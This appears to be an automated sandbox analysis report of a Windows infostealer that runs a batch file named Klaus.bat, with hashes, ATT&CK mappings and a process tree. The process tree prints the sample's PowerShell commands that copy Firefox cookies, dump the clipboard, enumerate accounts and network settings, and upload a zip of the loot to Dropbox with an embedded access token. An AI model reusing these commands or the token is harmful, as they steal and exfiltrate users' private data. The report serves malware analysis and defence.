b76ef05bfcf202500618abfde5231c8081197699f922962497a24a0375f822be

Analysis

max time kernel
136s
max time network
99s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
17/10/2024, 01:34

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
b76ef05bfcf202500618abfde5231c8081197699f922962497a24a0375f822be.exe
Size 22KB
Sample241017-bze3havepc
SHA256 b76ef05bfcf202500618abfde5231c8081197699f922962497a24a0375f822be
MD5 39114d180214f6ba2fd440ee0aeca1f1
SHA1 1d075a21bd720c85955b3638022b183d7953d431
SHA512 136b77850cedad8d55b34d7674087e3735d6145ded616e8464d9d581157cd503dfaeb1a1ad40131500c983337a7ab5a117a35b3be1b81d00073d03243b472996
SSDEEP 384:UIiV728hUQ7Y2P/cVEccDdye7kjlWLe7grPiA8jyrMPhTjanbBoZF0MKPaNJawco:URGuY2P0Vo6r7SiAwyrMRjbjKSnbcuyN
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

collection discovery evasion execution persistence privilege_escalation spyware stealer upx

Malware Config

Extracted

Language

Source

URLs

exe.dropper
https://content.dropboxapi.com/2/files/upload

Signatures

Blocklisted process makes network request 1 IoCs

flow	pid	Process
25	4484	powershell.exe

Modifies Windows Firewall 2 TTPs 1 IoCs

evasion

Windows Service

T1543.003

Disable or Modify System Firewall

T1562.004

pid	Process
2856	netsh.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-493223053-2004649691-1575712786-1000\Control Panel\International\Geo\Nation	b76ef05bfcf202500618abfde5231c8081197699f922962497a24a0375f822be.exe

Clipboard Data 1 TTPs 1 IoCs

Adversaries may collect data stored in the clipboard from users copying information within or between applications.

collection

Clipboard Data

T1115

pid	Process
212	powershell.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
112	powershell.exe
1352	powershell.exe
4484	powershell.exe
212	powershell.exe

Network Service Discovery 1 TTPs 1 IoCs

Attempt to gather information on host's network.

discovery

Network Service Discovery

T1046

pid	Process
4140	ARP.EXE

Password Policy Discovery 1 TTPs
Attempt to access detailed information about the password policy used within an enterprise network.
discovery

Password Policy Discovery
T1201

UPX packed file 3 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/memory/2156-0-0x0000000000400000-0x0000000000412000-memory.dmp	upx
behavioral2/memory/2156-81-0x0000000000400000-0x0000000000412000-memory.dmp	upx
behavioral2/memory/2156-134-0x0000000000400000-0x0000000000412000-memory.dmp	upx

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

persistence privilege_escalation

Netsh Helper DLL

T1546.007

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe

System Location Discovery: System Language Discovery 1 TTPs 45 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	b76ef05bfcf202500618abfde5231c8081197699f922962497a24a0375f822be.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	NETSTAT.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	findstr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ARP.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WMIC.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	systeminfo.exe

System Network Connections Discovery 1 TTPs 1 IoCs

Attempt to get a listing of network connections.

discovery

System Network Connections Discovery

T1049

pid	Process
3340	NETSTAT.EXE

Gathers network information 2 TTPs 1 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

T1082

Command and Scripting Interpreter

T1059

pid	Process
3340	NETSTAT.EXE

Gathers system information 1 TTPs 1 IoCs

Runs systeminfo.exe.

System Information Discovery

T1082

pid	Process
2928	systeminfo.exe

Runs net.exe

Suspicious behavior: EnumeratesProcesses 8 IoCs

pid	Process
112	powershell.exe
112	powershell.exe
1352	powershell.exe
1352	powershell.exe
212	powershell.exe
212	powershell.exe
4484	powershell.exe
4484	powershell.exe

Suspicious use of AdjustPrivilegeToken 47 IoCs

description	pid	Process
Token: SeDebugPrivilege	112	powershell.exe
Token: SeDebugPrivilege	1352	powershell.exe
Token: SeDebugPrivilege	212	powershell.exe
Token: SeDebugPrivilege	3340	NETSTAT.EXE
Token: SeIncreaseQuotaPrivilege	1756	WMIC.exe
Token: SeSecurityPrivilege	1756	WMIC.exe
Token: SeTakeOwnershipPrivilege	1756	WMIC.exe
Token: SeLoadDriverPrivilege	1756	WMIC.exe
Token: SeSystemProfilePrivilege	1756	WMIC.exe
Token: SeSystemtimePrivilege	1756	WMIC.exe
Token: SeProfSingleProcessPrivilege	1756	WMIC.exe
Token: SeIncBasePriorityPrivilege	1756	WMIC.exe
Token: SeCreatePagefilePrivilege	1756	WMIC.exe
Token: SeBackupPrivilege	1756	WMIC.exe
Token: SeRestorePrivilege	1756	WMIC.exe
Token: SeShutdownPrivilege	1756	WMIC.exe
Token: SeDebugPrivilege	1756	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1756	WMIC.exe
Token: SeRemoteShutdownPrivilege	1756	WMIC.exe
Token: SeUndockPrivilege	1756	WMIC.exe
Token: SeManageVolumePrivilege	1756	WMIC.exe
Token: 33	1756	WMIC.exe
Token: 34	1756	WMIC.exe
Token: 35	1756	WMIC.exe
Token: 36	1756	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1756	WMIC.exe
Token: SeSecurityPrivilege	1756	WMIC.exe
Token: SeTakeOwnershipPrivilege	1756	WMIC.exe
Token: SeLoadDriverPrivilege	1756	WMIC.exe
Token: SeSystemProfilePrivilege	1756	WMIC.exe
Token: SeSystemtimePrivilege	1756	WMIC.exe
Token: SeProfSingleProcessPrivilege	1756	WMIC.exe
Token: SeIncBasePriorityPrivilege	1756	WMIC.exe
Token: SeCreatePagefilePrivilege	1756	WMIC.exe
Token: SeBackupPrivilege	1756	WMIC.exe
Token: SeRestorePrivilege	1756	WMIC.exe
Token: SeShutdownPrivilege	1756	WMIC.exe
Token: SeDebugPrivilege	1756	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1756	WMIC.exe
Token: SeRemoteShutdownPrivilege	1756	WMIC.exe
Token: SeUndockPrivilege	1756	WMIC.exe
Token: SeManageVolumePrivilege	1756	WMIC.exe
Token: 33	1756	WMIC.exe
Token: 34	1756	WMIC.exe
Token: 35	1756	WMIC.exe
Token: 36	1756	WMIC.exe
Token: SeDebugPrivilege	4484	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2156 wrote to memory of 3920	2156	b76ef05bfcf202500618abfde5231c8081197699f922962497a24a0375f822be.exe	84
PID 2156 wrote to memory of 3920	2156	b76ef05bfcf202500618abfde5231c8081197699f922962497a24a0375f822be.exe	84
PID 2156 wrote to memory of 3920	2156	b76ef05bfcf202500618abfde5231c8081197699f922962497a24a0375f822be.exe	84
PID 3920 wrote to memory of 1292	3920	cmd.exe	87
PID 3920 wrote to memory of 1292	3920	cmd.exe	87
PID 3920 wrote to memory of 1292	3920	cmd.exe	87
PID 1292 wrote to memory of 3132	1292	cmd.exe	88
PID 1292 wrote to memory of 3132	1292	cmd.exe	88
PID 1292 wrote to memory of 3132	1292	cmd.exe	88
PID 3920 wrote to memory of 112	3920	cmd.exe	89
PID 3920 wrote to memory of 112	3920	cmd.exe	89
PID 3920 wrote to memory of 112	3920	cmd.exe	89
PID 3920 wrote to memory of 1352	3920	cmd.exe	93
PID 3920 wrote to memory of 1352	3920	cmd.exe	93
PID 3920 wrote to memory of 1352	3920	cmd.exe	93
PID 3920 wrote to memory of 212	3920	cmd.exe	94
PID 3920 wrote to memory of 212	3920	cmd.exe	94
PID 3920 wrote to memory of 212	3920	cmd.exe	94
PID 3920 wrote to memory of 3340	3920	cmd.exe	97
PID 3920 wrote to memory of 3340	3920	cmd.exe	97
PID 3920 wrote to memory of 3340	3920	cmd.exe	97
PID 3920 wrote to memory of 3052	3920	cmd.exe	98
PID 3920 wrote to memory of 3052	3920	cmd.exe	98
PID 3920 wrote to memory of 3052	3920	cmd.exe	98
PID 3052 wrote to memory of 1532	3052	cmd.exe	99
PID 3052 wrote to memory of 1532	3052	cmd.exe	99
PID 3052 wrote to memory of 1532	3052	cmd.exe	99
PID 3052 wrote to memory of 1372	3052	cmd.exe	100
PID 3052 wrote to memory of 1372	3052	cmd.exe	100
PID 3052 wrote to memory of 1372	3052	cmd.exe	100
PID 1532 wrote to memory of 5092	1532	net.exe	101
PID 1532 wrote to memory of 5092	1532	net.exe	101
PID 1532 wrote to memory of 5092	1532	net.exe	101
PID 3920 wrote to memory of 4508	3920	cmd.exe	102
PID 3920 wrote to memory of 4508	3920	cmd.exe	102
PID 3920 wrote to memory of 4508	3920	cmd.exe	102
PID 4508 wrote to memory of 4636	4508	net.exe	103
PID 4508 wrote to memory of 4636	4508	net.exe	103
PID 4508 wrote to memory of 4636	4508	net.exe	103
PID 3920 wrote to memory of 3164	3920	cmd.exe	104
PID 3920 wrote to memory of 3164	3920	cmd.exe	104
PID 3920 wrote to memory of 3164	3920	cmd.exe	104
PID 3164 wrote to memory of 1768	3164	net.exe	105
PID 3164 wrote to memory of 1768	3164	net.exe	105
PID 3164 wrote to memory of 1768	3164	net.exe	105
PID 3920 wrote to memory of 2632	3920	cmd.exe	106
PID 3920 wrote to memory of 2632	3920	cmd.exe	106
PID 3920 wrote to memory of 2632	3920	cmd.exe	106
PID 2632 wrote to memory of 2336	2632	net.exe	107
PID 2632 wrote to memory of 2336	2632	net.exe	107
PID 2632 wrote to memory of 2336	2632	net.exe	107
PID 3920 wrote to memory of 4940	3920	cmd.exe	108
PID 3920 wrote to memory of 4940	3920	cmd.exe	108
PID 3920 wrote to memory of 4940	3920	cmd.exe	108
PID 4940 wrote to memory of 3692	4940	net.exe	109
PID 4940 wrote to memory of 3692	4940	net.exe	109
PID 4940 wrote to memory of 3692	4940	net.exe	109
PID 3920 wrote to memory of 4532	3920	cmd.exe	110
PID 3920 wrote to memory of 4532	3920	cmd.exe	110
PID 3920 wrote to memory of 4532	3920	cmd.exe	110
PID 4532 wrote to memory of 4868	4532	net.exe	111
PID 4532 wrote to memory of 4868	4532	net.exe	111
PID 4532 wrote to memory of 4868	4532	net.exe	111
PID 3920 wrote to memory of 1640	3920	cmd.exe	112

C:\Users\Admin\AppData\Local\Temp\b76ef05bfcf202500618abfde5231c8081197699f922962497a24a0375f822be.exe
"C:\Users\Admin\AppData\Local\Temp\b76ef05bfcf202500618abfde5231c8081197699f922962497a24a0375f822be.exe"
1⤵
- Checks computer location settings
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:2156
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\685F.tmp\Klaus.bat" "
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:3920
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders" /v Startup
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:1292
  - - C:\Windows\SysWOW64\reg.exe
      reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders" /v Startup
      4⤵
      System Location Discovery: System Language Discovery
      PID:3132
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "$destFolder = Join-Path -Path $env:TEMP -ChildPath 'Klaus\'; New-Item -ItemType Directory -Path $destFolder | Out-Null"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:112
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "$firefoxProfilePath = Join-Path -Path $env:APPDATA -ChildPath 'Mozilla\Firefox\Profiles'; $firefoxProfile = Get-ChildItem -Path $firefoxProfilePath | Where-Object {$_.Name -like '*default-release'}; $filePath = Join-Path -Path $firefoxProfile.FullName -ChildPath 'cookies.sqlite'; $destFolder = Join-Path -Path $env:TEMP -ChildPath 'Klaus'; Copy-Item -Path $filePath -Destination $destFolder -Force;"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1352
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "Get-Clipboard | Set-Content -Path \"$env:TEMP\Klaus\Zwischenablage.txt\""
    3⤵
    - Clipboard Data
    - Command and Scripting Interpreter: PowerShell
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:212
- - C:\Windows\SysWOW64\NETSTAT.EXE
    netstat -ano
    3⤵
    - System Location Discovery: System Language Discovery
    - System Network Connections Discovery
    - Gathers network information
    - Suspicious use of AdjustPrivilegeToken
    PID:3340
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c net user | findstr /v /r "^Der Befehl wurde erfolgreich ausgef├╝hrt.$"
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:3052
  - - C:\Windows\SysWOW64\net.exe
      net user
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:1532
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 user
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:5092
  - - C:\Windows\SysWOW64\findstr.exe
      findstr /v /r "^Der Befehl wurde erfolgreich ausgef├╝hrt.$"
      4⤵
      System Location Discovery: System Language Discovery
      PID:1372
- - C:\Windows\SysWOW64\net.exe
    net user User
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:4508
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 user User
      4⤵
      System Location Discovery: System Language Discovery
      PID:4636
- - C:\Windows\SysWOW64\net.exe
    net user accounts
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:3164
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 user accounts
      4⤵
      System Location Discovery: System Language Discovery
      PID:1768
- - C:\Windows\SysWOW64\net.exe
    net user for
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:2632
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 user for
      4⤵
      System Location Discovery: System Language Discovery
      PID:2336
- - C:\Windows\SysWOW64\net.exe
    net user \\GLZCSNLK
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:4940
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 user \\GLZCSNLK
      4⤵
      System Location Discovery: System Language Discovery
      PID:3692
- - C:\Windows\SysWOW64\net.exe
    net user -------------------------------------------------------------------------------
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:4532
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 user -------------------------------------------------------------------------------
      4⤵
      System Location Discovery: System Language Discovery
      PID:4868
- - C:\Windows\SysWOW64\net.exe
    net user Admin
    3⤵
    - System Location Discovery: System Language Discovery
    PID:1640
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 user Admin
      4⤵
      System Location Discovery: System Language Discovery
      PID:3764
- - C:\Windows\SysWOW64\net.exe
    net user Administrator
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4472
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 user Administrator
      4⤵
      System Location Discovery: System Language Discovery
      PID:2440
- - C:\Windows\SysWOW64\net.exe
    net user DefaultAccount
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4120
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 user DefaultAccount
      4⤵
      System Location Discovery: System Language Discovery
      PID:4872
- - C:\Windows\SysWOW64\net.exe
    net user Guest
    3⤵
    - System Location Discovery: System Language Discovery
    PID:1500
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 user Guest
      4⤵
      System Location Discovery: System Language Discovery
      PID:5012
- - C:\Windows\SysWOW64\net.exe
    net user WDAGUtilityAccount
    3⤵
    - System Location Discovery: System Language Discovery
    PID:536
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 user WDAGUtilityAccount
      4⤵
      System Location Discovery: System Language Discovery
      PID:1160
- - C:\Windows\SysWOW64\net.exe
    net user The
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4384
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 user The
      4⤵
      System Location Discovery: System Language Discovery
      PID:368
- - C:\Windows\SysWOW64\net.exe
    net user command
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4616
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 user command
      4⤵
      System Location Discovery: System Language Discovery
      PID:2916
- - C:\Windows\SysWOW64\net.exe
    net user completed
    3⤵
    - System Location Discovery: System Language Discovery
    PID:3132
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 user completed
      4⤵
      System Location Discovery: System Language Discovery
      PID:852
- - C:\Windows\SysWOW64\net.exe
    net user successfully.
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4272
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 user successfully.
      4⤵
      System Location Discovery: System Language Discovery
      PID:4444
- - C:\Windows\SysWOW64\ARP.EXE
    arp -a
    3⤵
    - Network Service Discovery
    - System Location Discovery: System Language Discovery
    PID:4140
- - C:\Windows\SysWOW64\systeminfo.exe
    systeminfo
    3⤵
    - System Location Discovery: System Language Discovery
    - Gathers system information
    PID:2928
- - C:\Windows\SysWOW64\netsh.exe
    netsh advfirewall firewall show rule name=all verbose
    3⤵
    - Modifies Windows Firewall
    - Event Triggered Execution: Netsh Helper DLL
    - System Location Discovery: System Language Discovery
    PID:2856
- - C:\Windows\SysWOW64\Wbem\WMIC.exe
    wmic startup get /format:list
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:1756
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "$date = Get-Date -Format 'yyyyMMdd_HHmmss'; $zipName = 'Klaus_' + $date + '.zip'; Compress-Archive -Path "$env:TEMP\Klaus\*" -DestinationPath $env:TEMP\$zipName"; $accessToken = 'sl.B-7f-Y6dlfErscuS9eyJblNXoE1CT0tYrPDpLzPdTYFMRCOqQqR8UJMftoLGK2E5e1WgXW0ZGJ41dX8aYL2ivuBEEUxAXl_Rq2i58187LxrSpD1T-jJ6U0HvgoeCvOb5PGZ2WRTTp3ZJr_1-MZzaQyM'; $uploadUrl = 'https://content.dropboxapi.com/2/files/upload'; $headers = @{}; $headers.Add('Authorization', 'Bearer ' + $accessToken); $headers.Add('Dropbox-API-Arg', '{\"path\":\"/' + $zipName + '\",\"mode\":\"add\",\"autorename\":true,\"mute\":false}'); $headers.Add('Content-Type', 'application/octet-stream'); Invoke-RestMethod -Uri $uploadUrl -Headers $headers -Method Post -InFile $env:TEMP\$zipName"
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4484

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Privilege Escalation

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Defense Evasion

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Network Service Discovery

T1046

Password Policy Discovery

T1201

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

System Network Connections Discovery

T1049

Lateral Movement

Collection

Clipboard Data

T1115

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log
Size 1KB
SHA256 aa1c97cdbce9a848f1db2ad483f19caa535b55a3a1ef2ad1260e0437002bc82c
MD5 def65711d78669d7f8e69313be4acf2e
SHA1 6522ebf1de09eeb981e270bd95114bc69a49cda6
SHA512 05b2f9cd9bc3b46f52fded320b68e05f79b2b3ceaeb13e5d87ae9f8cd8e6c90bbb4ffa4da8192c2bfe0f58826cabff2e99e7c5cc8dd47037d4eb7bfc6f2710a7
MD5 SHA1 SHA512

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 15KB
SHA256 62c0d49697e872f8c369213ddbf9339749d375d337914fc517ea983df7607eda
MD5 cbec2c79037bafed1f1c2fc4c10bcdf9
SHA1 eee678f39234946bd63ca76cb5ad73c32575f15b
SHA512 51b04471a9a97d7716b125d74fe533c5c0cd1cf94173428a7e8284a531d0aed40e7c990e58e71cde590d1dcaf877bb8714abcfc03cf67dbde9df4d8f4608ebf6
SSDEEP 384:Prf+EW+/P991mTYPFwFzF8AL+dW5sNY1ERiSQffKc8doLD9+i0O1:Dfs+FUYq8CN5sNrXc0o3J
MD5 SHA1 SHA512 SSDEEP

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 15KB
SHA256 77f76438f113b3393f4ae87aa36ea03a523e7c0f71c4ba55b89c446fec7b558a
MD5 b72fb1748054b7a8293571f117a0e0c9
SHA1 d30a083ff864b18619ce7dd98015f9c67b5dde06
SHA512 3588be74bf53edbd5ad01051958bee1395ad99a4d8526e9e50a48b69d954392b869c8e48937ea998efb70d56a13ddc86e2c9d007c667e3d5db6e98573ed87aeb
SSDEEP 384:lrf+NWc9i+hy6rDiSBi6iJkbno9oRTVK6seYkiTc/gd3SoE/kfYhHOzwu2f:Nfbiy6jo6XsoRTVNqAMS+yuz2
MD5 SHA1 SHA512 SSDEEP

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 16KB
SHA256 e0d31040a37a46ba49327ab247d77e9588e7aff6968ff52fe111f2bde894a633
MD5 b53edd3fb9445803f69280b1c1cebfab
SHA1 589c7586edd07985938ecdf1dd60ca971200f8dc
SHA512 88bdba7a428272906ca4a20e6ddc335de81d60f594ad0d2f40f7656ad8b95a7cae1f9e78fa0b92e531145bcf33b83bceeadcb09519269b303fe34bf5b747e9fe
SSDEEP 384:Urf+5WV91cP84Ov1HHm4Jkff0P2o3FNY1MhIc/huRE43IfQwheH5s0o8sLbxFSO1:efftcPROdnm5fcPr3FNRhIc2EQIfOH5Q
MD5 SHA1 SHA512 SSDEEP

Submit Download

Klaus.bat

Path C:\Users\Admin\AppData\Local\Temp\685F.tmp\Klaus.bat
Size 3KB
SHA256 9ae69e8f42f3324a2fb081810e7dca32c5001fbe3ebb0153efcf8b7c0ef8553b
MD5 4386bf1528fd74cfbc0493442411f7b1
SHA1 66a36081f4a4de04cc9931cdd5f55cde18416aa0
SHA512 6e25190f8a32529d82c05872eed928731a1188eec9e9cb5e21f52098b58e66580359cac799b8d3d7905ef3d620253ed06074ea5941ff640eb0235d423530426d
MD5 SHA1 SHA512

Submit Download

ChromeHistory

Path C:\Users\Admin\AppData\Local\Temp\Klaus\ChromeHistory
Size 160KB
SHA256 e187946249cd390a3c1cf5d4e3b0d8f554f9acdc416bf4e7111fff217bb08855
MD5 f310cf1ff562ae14449e0167a3e1fe46
SHA1 85c58afa9049467031c6c2b17f5c12ca73bb2788
SHA512 1196371de08c964268c44103ccaed530bda6a145df98e0f480d8ee5ad58cb6fb33ca4c9195a52181fe864726dcf52e6a7a466d693af0cda43400a3a7ef125fad
